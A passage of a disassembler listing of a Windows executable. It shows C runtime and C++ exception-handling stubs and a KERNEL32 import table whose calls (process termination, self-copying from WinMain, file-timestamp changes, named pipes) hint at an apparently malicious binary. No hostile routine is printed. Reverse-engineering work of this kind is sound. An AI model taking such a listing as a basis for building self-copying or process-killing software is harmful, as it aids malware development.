; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND] ; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND] off_41A038 dd offset loc_419C01 ; DATA XREF: ___strgtold12+63r dd offset loc_419C50 ; jump table for switch statement dd offset loc_419CA7 dd offset loc_419CD1 dd offset loc_419D2C dd offset loc_419DA3 dd offset loc_419DD9 dd offset loc_419E23 dd offset loc_419E02 dd offset loc_419E87 dd offset loc_419E71 dd offset loc_419E3D ; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND] ; [0000012D BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND] ; [00000045 BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND] ; [00000146 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND] ; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+" TO EXPAND] ; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND] ; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND] ; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND] ; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO EXPAND] ; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ. PRESS KEYPAD "+" TO EXPAND] ; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO EXPAND] ; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _findenv. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND] ; [00000073 BYTES: COLLAPSED FUNCTION __mbschr. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41AF50 proc near ; CODE XREF: sub_41AF78+3p ; sub_41AFFE+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41C83C call sub_40317D mov ecx, esi pop esi jmp sub_41B2A6 sub_41AF50 endp ; [0000000D BYTES: COLLAPSED FUNCTION sub_41AF6B. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_41AF78(void *Memory, char) sub_41AF78 proc near ; DATA XREF: .rdata:off_41C83Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41AF50 test [esp+4+arg_0], 1 jz short loc_41AF8E push esi ; Memory call ??3@YAXPAX@Z ; operator delete(void *) pop ecx loc_41AF8E: ; CODE XREF: sub_41AF78+Dj mov eax, esi pop esi retn 4 sub_41AF78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF94 proc near ; CODE XREF: sub_41B009+29p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_41B35E call __EH_prolog push ecx push ecx push esi lea eax, [ebp+var_10] mov esi, ecx push eax mov [ebp+var_14], esi mov [ebp+var_10], offset dword_41C858 call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &) push [ebp+arg_0] and [ebp+var_4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41C83C call sub_402CA1 mov ecx, [ebp+var_C] mov dword ptr [esi], offset off_41C84C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_41AF94 endp ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_41AFE2(void *Memory, char) sub_41AFE2 proc near ; DATA XREF: .rdata:off_41C84Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41AFFE test [esp+4+arg_0], 1 jz short loc_41AFF8 push esi ; Memory call ??3@YAXPAX@Z ; operator delete(void *) pop ecx loc_41AFF8: ; CODE XREF: sub_41AFE2+Dj mov eax, esi pop esi retn 4 sub_41AFE2 endp ; =============== S U B R O U T I N E ======================================= sub_41AFFE proc near ; CODE XREF: sub_41AFE2+3p ; DATA XREF: .rdata:0041CB94o mov dword ptr [ecx], offset off_41C84C jmp sub_41AF50 sub_41AFFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B009 proc near ; CODE XREF: sub_402EB2+16p ; sub_403257+13p var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_D = byte ptr -0Dh var_4 = dword ptr -4 mov eax, offset loc_41B370 call __EH_prolog sub esp, 30h lea eax, [ebp+var_D] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_20] call sub_402CD6 and [ebp+var_4], 0 lea eax, [ebp+var_20] push eax lea ecx, [ebp+var_3C] call sub_41AF94 push offset dword_41CB90 lea eax, [ebp+var_3C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_41B009 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B046 proc near ; CODE XREF: sub_41B110+29p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_41B382 call __EH_prolog push ecx push ecx push esi lea eax, [ebp+var_10] mov esi, ecx push eax mov [ebp+var_14], esi mov [ebp+var_10], offset dword_41C858 call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &) push [ebp+arg_0] and [ebp+var_4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41C83C call sub_402CA1 mov ecx, [ebp+var_C] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_41B046 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B08E proc near ; CODE XREF: sub_41B0F8+7p ; sub_41B154+7p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_41B394 call __EH_prolog push ecx push esi push edi mov edi, [ebp+arg_0] mov esi, ecx push edi mov [ebp+var_10], esi call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &) and [ebp+var_4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41C83C call sub_402CA1 mov ecx, [ebp+var_C] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_41B08E endp ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_41B0D1(void *Memory, char) sub_41B0D1 proc near ; DATA XREF: .rdata:off_41C878o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41B0ED test [esp+4+arg_0], 1 jz short loc_41B0E7 push esi ; Memory call ??3@YAXPAX@Z ; operator delete(void *) pop ecx loc_41B0E7: ; CODE XREF: sub_41B0D1+Dj mov eax, esi pop esi retn 4 sub_41B0D1 endp ; =============== S U B R O U T I N E ======================================= sub_41B0ED proc near ; CODE XREF: sub_41B0D1+3p ; DATA XREF: .rdata:0041CC3Co mov dword ptr [ecx], offset off_41C878 jmp sub_41AF50 sub_41B0ED endp ; =============== S U B R O U T I N E ======================================= sub_41B0F8 proc near ; CODE XREF: sub_41B16C+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_41B08E mov dword ptr [esi], offset off_41C84C mov eax, esi pop esi retn 4 sub_41B0F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B110 proc near ; CODE XREF: sub_402D44+19p ; sub_402E2B+19p ... var_3C = dword ptr -3Ch var_20 = byte ptr -20h var_D = byte ptr -0Dh var_4 = dword ptr -4 mov eax, offset loc_41B3A6 call __EH_prolog sub esp, 30h lea eax, [ebp+var_D] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_20] call sub_402CD6 and [ebp+var_4], 0 lea eax, [ebp+var_20] push eax lea ecx, [ebp+var_3C] call sub_41B046 push offset dword_41CC38 lea eax, [ebp+var_3C] push eax mov [ebp+var_3C], offset off_41C878 call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_41B110 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B154 proc near ; CODE XREF: sub_41B16C+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_41B08E mov dword ptr [esi], offset off_41C878 mov eax, esi pop esi retn 4 sub_41B154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B16C proc near ; DATA XREF: .rdata:0041C844o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41B08E push offset dword_41CC78 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger loc_41B18A: ; DATA XREF: .rdata:0041C880o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41B154 push offset dword_41CC38 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger loc_41B1A8: ; DATA XREF: .rdata:0041C854o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41B0F8 push offset dword_41CB90 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_41B16C endp ; sp-analysis failed ; [00000006 BYTES: COLLAPSED FUNCTION __WSAFDIsSet. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_41B203(void *Memory, char) sub_41B203 proc near ; DATA XREF: .rdata:off_41C8A0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41B2A6 test [esp+4+arg_0], 1 jz short loc_41B219 push esi ; Memory call ??3@YAXPAX@Z ; operator delete(void *) pop ecx loc_41B219: ; CODE XREF: sub_41B203+Dj mov eax, esi pop esi retn 4 sub_41B203 endp ; [0000003D BYTES: COLLAPSED FUNCTION exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41B2A6 proc near ; CODE XREF: sub_41AF50+16j ; sub_41B203+3p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_41C8A0 jz short locret_41B2BB push dword ptr [ecx+4] ; Memory call ??3@YAXPAX@Z ; operator delete(void *) pop ecx locret_41B2BB: ; CODE XREF: sub_41B2A6+Aj retn sub_41B2A6 endp ; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_9. PRESS KEYPAD "+" TO EXPAND] ; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_41B304 proc near ; DATA XREF: .rdata:stru_41CA50o lea ecx, [ebp-20h] call sub_402D03 retn sub_41B304 endp ; =============== S U B R O U T I N E ======================================= sub_41B30D proc near ; DATA XREF: .rdata:stru_41CA50o mov eax, [ebp-3Ch] and eax, 1 test eax, eax jz locret_41B323 mov ecx, [ebp+8] call sub_402D03 locret_41B323: ; CODE XREF: sub_41B30D+8j retn sub_41B30D endp ; --------------------------------------------------------------------------- loc_41B324: ; DATA XREF: sub_4026C9o mov eax, offset stru_41CA50 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_41B32E proc near ; DATA XREF: .rdata:stru_41CA80o lea ecx, [ebp+14h] call sub_402D03 retn sub_41B32E endp ; =============== S U B R O U T I N E ======================================= sub_41B337 proc near ; DATA XREF: .rdata:stru_41CA80o lea ecx, [ebp-24h] call sub_402D03 retn sub_41B337 endp ; =============== S U B R O U T I N E ======================================= sub_41B340 proc near ; DATA XREF: sub_40288Fo mov eax, offset stru_41CA80 jmp ___CxxFrameHandler sub_41B340 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41B34C proc near ; DATA XREF: sub_40334Ao mov eax, offset stru_41CAB0 jmp ___CxxFrameHandler sub_41B34C endp ; =============== S U B R O U T I N E ======================================= sub_41B356 proc near ; DATA XREF: .rdata:stru_41CB08o mov ecx, [ebp-14h] jmp sub_41B2A6 sub_41B356 endp ; --------------------------------------------------------------------------- loc_41B35E: ; DATA XREF: sub_41AF94o mov eax, offset stru_41CB10 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_41B368 proc near ; DATA XREF: .rdata:stru_41CBA0o lea ecx, [ebp-20h] jmp sub_402D03 sub_41B368 endp ; --------------------------------------------------------------------------- loc_41B370: ; DATA XREF: sub_41B009o mov eax, offset stru_41CBA8 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_41B37A proc near ; DATA XREF: .rdata:stru_41CBC4o mov ecx, [ebp-14h] jmp sub_41B2A6 sub_41B37A endp ; --------------------------------------------------------------------------- loc_41B382: ; DATA XREF: sub_41B046o mov eax, offset stru_41CBCC jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_41B38C proc near ; DATA XREF: .rdata:stru_41CBE8o mov ecx, [ebp-10h] jmp sub_41B2A6 sub_41B38C endp ; --------------------------------------------------------------------------- loc_41B394: ; DATA XREF: sub_41B08Eo mov eax, offset stru_41CBF0 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_41B39E proc near ; DATA XREF: .rdata:stru_41CC48o lea ecx, [ebp-20h] jmp sub_402D03 sub_41B39E endp ; --------------------------------------------------------------------------- loc_41B3A6: ; DATA XREF: sub_41B110o mov eax, offset stru_41CC50 jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- dd 14h dup(?) _text ends ; Section 2. (virtual address 0001C000) ; Virtual size : 0000155C ( 5468.) ; Section size in file : 0000155C ( 5468.) ; Offset to raw data for section: 0001AA00 ; Flags 40000040: Data Readable ; Alignment : default ; ; Imports from KERNEL32.dll ; ; =========================================================================== ; Segment type: Externs ; _idata ; DWORD __stdcall GetFileAttributesA(LPCSTR lpFileName) extrn GetFileAttributesA:dword ; CODE XREF: sub_408651+143p ; WinMain(x,x,x,x)+203p ; DATA XREF: ... ; BOOL __stdcall SetEnvironmentVariableA(LPCSTR lpName, LPCSTR lpValue) extrn SetEnvironmentVariableA:dword ; CODE XREF: ___crtsetenv+173p ; DATA XREF: ___crtsetenv+173r ; int __stdcall CompareStringW(LCID Locale, DWORD dwCmpFlags, LPCWSTR lpString1, int cchCount1, LPCWSTR lpString2, int cchCount2) extrn CompareStringW:dword ; CODE XREF: ___crtCompareStringA+3Ep ; ___crtCompareStringA+261p ; DATA XREF: ... ; int __stdcall CompareStringA(LCID Locale, DWORD dwCmpFlags, LPCSTR lpString1, int cchCount1, LPCSTR lpString2, int cchCount2) extrn CompareStringA:dword ; CODE XREF: ___crtCompareStringA+5Bp ; ___crtCompareStringA+B9p ; DATA XREF: ... ; BOOL __stdcall SetEndOfFile(HANDLE hFile) extrn SetEndOfFile:dword ; CODE XREF: __chsize+F9p ; DATA XREF: __chsize+F9r ; BOOL __stdcall FlushFileBuffers(HANDLE hFile) extrn FlushFileBuffers:dword ; CODE XREF: __commit+2Cp ; DATA XREF: __commit+2Cr ; BOOL __stdcall SetStdHandle(DWORD nStdHandle, HANDLE hHandle) extrn SetStdHandle:dword ; CODE XREF: __set_osfhnd:loc_418F09p ; __free_osfhnd:loc_418F83p ; DATA XREF: ... ; BOOL __stdcall GetStringTypeW(DWORD dwInfoType, LPCWSTR lpSrcStr, int cchSrc, LPWORD lpCharType) extrn GetStringTypeW:dword ; CODE XREF: ___crtGetStringTypeA+3Fp ; ___crtGetStringTypeA+12Dp ; DATA XREF: ... ; BOOL __stdcall GetStringTypeA(LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr, int cchSrc, LPWORD lpCharType) extrn GetStringTypeA:dword ; CODE XREF: ___crtGetStringTypeA+59p ; ___crtGetStringTypeA+8Dp ; DATA XREF: ... ; BOOL __stdcall IsBadCodePtr(FARPROC lpfn) extrn IsBadCodePtr:dword ; CODE XREF: _ValidateExecute(int (*)(void))+8p ; DATA XREF: _ValidateExecute(int (*)(void))+8r ; BOOL __stdcall IsBadReadPtr(const void *lp, UINT_PTR ucb) extrn IsBadReadPtr:dword ; CODE XREF: _ValidateRead(void const *,uint)+Cp ; DATA XREF: _ValidateRead(void const *,uint)+Cr ; LPTOP_LEVEL_EXCEPTION_FILTER __stdcall SetUnhandledExceptionFilter(LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter) extrn SetUnhandledExceptionFilter:dword ; CODE XREF: sub_418A65+5p ; sub_418A76+6p ; DATA XREF: ... ; LPWCH __stdcall GetEnvironmentStringsW() extrn GetEnvironmentStringsW:dword ; CODE XREF: ___crtGetEnvironmentStringsA+1Bp ; ___crtGetEnvironmentStringsA+5Bp ; DATA XREF: ... ; LPCH __stdcall GetEnvironmentStrings() extrn GetEnvironmentStrings:dword ; CODE XREF: ___crtGetEnvironmentStringsA:loc_417C88p ; ___crtGetEnvironmentStringsA+E1p ; DATA XREF: ... ; BOOL __stdcall FreeEnvironmentStringsW(LPWCH) extrn FreeEnvironmentStringsW:dword ; CODE XREF: ___crtGetEnvironmentStringsA+CEp ; DATA XREF: ___crtGetEnvironmentStringsA+CEr ; BOOL __stdcall FreeEnvironmentStringsA(LPCH) extrn FreeEnvironmentStringsA:dword ; CODE XREF: ___crtGetEnvironmentStringsA+11Fp ; DATA XREF: ___crtGetEnvironmentStringsA+11Fr ; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo) extrn UnhandledExceptionFilter:dword ; CODE XREF: __XcptFilter+138p ; DATA XREF: __XcptFilter+138r ; UINT __stdcall GetOEMCP() extrn GetOEMCP:dword ; DATA XREF: _getSystemCP+1Ar ; UINT __stdcall GetACP() extrn GetACP:dword ; DATA XREF: _getSystemCP+2Fr ; BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo) extrn GetCPInfo:dword ; CODE XREF: __setmbcp+48p ; _setSBUpLow+14p ... ; int __stdcall LCMapStringW(LCID Locale, DWORD dwMapFlags, LPCWSTR lpSrcStr, int cchSrc, LPWSTR lpDestStr, int cchDest) extrn LCMapStringW:dword ; CODE XREF: ___crtLCMapStringA+42p ; ___crtLCMapStringA+14Dp ... ; int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar) extrn MultiByteToWideChar:dword ; CODE XREF: sub_401000+68p ; sub_40110C+68p ... ; void __stdcall Sleep(DWORD dwMilliseconds) extrn Sleep:dword ; CODE XREF: sub_40110C+B2p ; sub_4016C0+434p ... ; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) extrn ReadFile:dword ; CODE XREF: sub_4016C0+1ECp ; __read+84p ... ; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn WriteFile:dword ; CODE XREF: sub_4016C0+196p ; sub_408651+C3p ... ; BOOL __stdcall TransactNamedPipe(HANDLE hNamedPipe, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesRead, LPOVERLAPPED lpOverlapped) extrn TransactNamedPipe:dword ; CODE XREF: sub_4016C0+134p ; DATA XREF: sub_4016C0+134r ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn CloseHandle:dword ; CODE XREF: sub_4016C0+D9p ; sub_4016C0+167p ... ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) extrn CreateFileA:dword ; CODE XREF: sub_4016C0+6Ap ; sub_4084A5+48p ... ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize) extrn GetModuleFileNameA:dword ; CODE XREF: sub_404515+2Cp ; sub_404F31+5Bp ... ; void __stdcall ExitThread(DWORD dwExitCode) extrn ExitThread:dword ; CODE XREF: StartAddress+D6p ; StartAddress+1EDp ... ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: sub_404F31:loc_4050A9p ; sub_404F31:loc_40522Ap ... ; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) extrn CreateThread:dword ; CODE XREF: sub_404F31+137p ; sub_404F31+2B8p ... ; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn LeaveCriticalSection:dword ; CODE XREF: sub_405759+1D6p ; DATA XREF: sub_405759+1D6r ; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn EnterCriticalSection:dword ; CODE XREF: sub_405759+14Bp ; DATA XREF: sub_405759+14Br ; DWORD __stdcall GetTickCount() extrn GetTickCount:dword ; CODE XREF: sub_405759+3Ep ; sub_40634F+4Bp ... ; BOOL __stdcall InitializeCriticalSectionAndSpinCount(LPCRITICAL_SECTION lpCriticalSection, DWORD dwSpinCount) extrn InitializeCriticalSectionAndSpinCount:dword ; CODE XREF: sub_405A2E+83p ; DATA XREF: sub_405A2E+83r ; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn DeleteCriticalSection:dword ; CODE XREF: sub_405A2E+73p ; sub_405A2E+2A7p ; DATA XREF: ... ; BOOL __stdcall FindClose(HANDLE hFindFile) extrn FindClose:dword ; CODE XREF: sub_405CF2+56p ; DATA XREF: sub_405CF2+56r ; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData) extrn FindFirstFileA:dword ; CODE XREF: sub_405CF2+36p ; DATA XREF: sub_405CF2+36r ; BOOL __stdcall DeleteFileA(LPCSTR lpFileName) extrn DeleteFileA:dword ; CODE XREF: sub_405D52+2E9p ; sub_405D52+50Ap ... ; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName, DWORD dwFileAttributes) extrn SetFileAttributesA:dword ; CODE XREF: sub_405D52+2B1p ; sub_405D52+4D2p ... ; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT uExitCode) extrn TerminateProcess:dword ; CODE XREF: sub_405D52+20Bp ; sub_405D52+42Cp ... ; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) extrn OpenProcess:dword ; CODE XREF: sub_405D52+1F3p ; sub_405D52+414p ... ; int __stdcall lstrcmpiA(LPCSTR lpString1, LPCSTR lpString2) extrn lstrcmpiA:dword ; CODE XREF: sub_405D52+14Bp ; sub_405D52+1C0p ... ; UINT __stdcall GetWindowsDirectoryA(LPSTR lpBuffer, UINT uSize) extrn GetWindowsDirectoryA:dword ; CODE XREF: sub_405D52+70p ; sub_409C28+89p ... ; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer, UINT uSize) extrn GetSystemDirectoryA:dword ; CODE XREF: sub_405D52+5Ep ; sub_408C2B+1FCp ; DATA XREF: ... ; int __stdcall lstrcmpA(LPCSTR lpString1, LPCSTR lpString2) extrn lstrcmpA:dword ; CODE XREF: sub_40634F+4CEp ; sub_40634F+4F2p ... ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; CODE XREF: sub_407087+195p ; sub_407087+548p ... ; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName) extrn GetProcAddress:dword ; CODE XREF: sub_407087+26p ; sub_407087+39p ... ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn GetModuleHandleA:dword ; CODE XREF: sub_407087+Bp ; sub_407087+2AEp ... ; DWORD __stdcall FormatMessageA(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments) extrn FormatMessageA:dword ; CODE XREF: sub_40834A+35p ; DATA XREF: sub_40834A+35r ; BOOL __stdcall UnmapViewOfFile(LPCVOID lpBaseAddress) extrn UnmapViewOfFile:dword ; CODE XREF: sub_40840B+82p ; DATA XREF: sub_40840B+82r ; LPVOID __stdcall MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap) extrn MapViewOfFile:dword ; CODE XREF: sub_40840B+45p ; DATA XREF: sub_40840B+45r ; HANDLE __stdcall CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName) extrn CreateFileMappingA:dword ; CODE XREF: sub_40840B+2Ep ; DATA XREF: sub_40840B+2Er ; BOOL __stdcall SetFileTime(HANDLE hFile, const FILETIME *lpCreationTime, const FILETIME *lpLastAccessTime, const FILETIME *lpLastWriteTime) extrn SetFileTime:dword ; CODE XREF: sub_4084A5+C9p ; DATA XREF: sub_4084A5+C9r ; BOOL __stdcall GetFileTime(HANDLE hFile, LPFILETIME lpCreationTime, LPFILETIME lpLastAccessTime, LPFILETIME lpLastWriteTime) extrn GetFileTime:dword ; CODE XREF: sub_4084A5+75p ; DATA XREF: sub_4084A5+75r ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) extrn CreateProcessA:dword ; CODE XREF: .text:00408610p ; sub_408651+1C1p ... ; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize) extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_408651+195p ; DATA XREF: sub_408651+195r ; DWORD __stdcall GetTempPathA(DWORD nBufferLength, LPSTR lpBuffer) extrn GetTempPathA:dword ; CODE XREF: sub_408651+34p ; sub_40ABFE+3AD7p ; DATA XREF: ... ; void __stdcall GlobalMemoryStatus(LPMEMORYSTATUS lpBuffer) extrn GlobalMemoryStatus:dword ; CODE XREF: sub_408C2B+256p ; DATA XREF: sub_408C2B+256r ; int __stdcall GetTimeFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCSTR lpFormat, LPSTR lpTimeStr, int cchTime) extrn GetTimeFormatA:dword ; CODE XREF: sub_408C2B+236p ; DATA XREF: sub_408C2B+236r ; int __stdcall GetDateFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpDate, LPCSTR lpFormat, LPSTR lpDateStr, int cchDate) extrn GetDateFormatA:dword ; CODE XREF: sub_408C2B+219p ; DATA XREF: sub_408C2B+219r ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) extrn GetVersionExA:dword ; CODE XREF: sub_408C2B+25p ; .text:0040FBA9p ; DATA XREF: ... ; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime) extrn GetLocalTime:dword ; CODE XREF: sub_40913D+Ap _time+Dp ; DATA XREF: ... ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; CODE XREF: sub_4095D3+554p ; sub_409C28+110p ... ; DWORD __stdcall GetCurrentProcessId() extrn GetCurrentProcessId:dword ; CODE XREF: WinMain(x,x,x,x)+2EBp ; DATA XREF: WinMain(x,x,x,x)+2EBr ; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, BOOL bFailIfExists) extrn CopyFileA:dword ; CODE XREF: WinMain(x,x,x,x)+237p ; DATA XREF: WinMain(x,x,x,x)+237r ; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) extrn WaitForSingleObject:dword ; CODE XREF: WinMain(x,x,x,x)+89p ; WinMain(x,x,x,x)+3BAp ; DATA XREF: ... ; HANDLE __stdcall 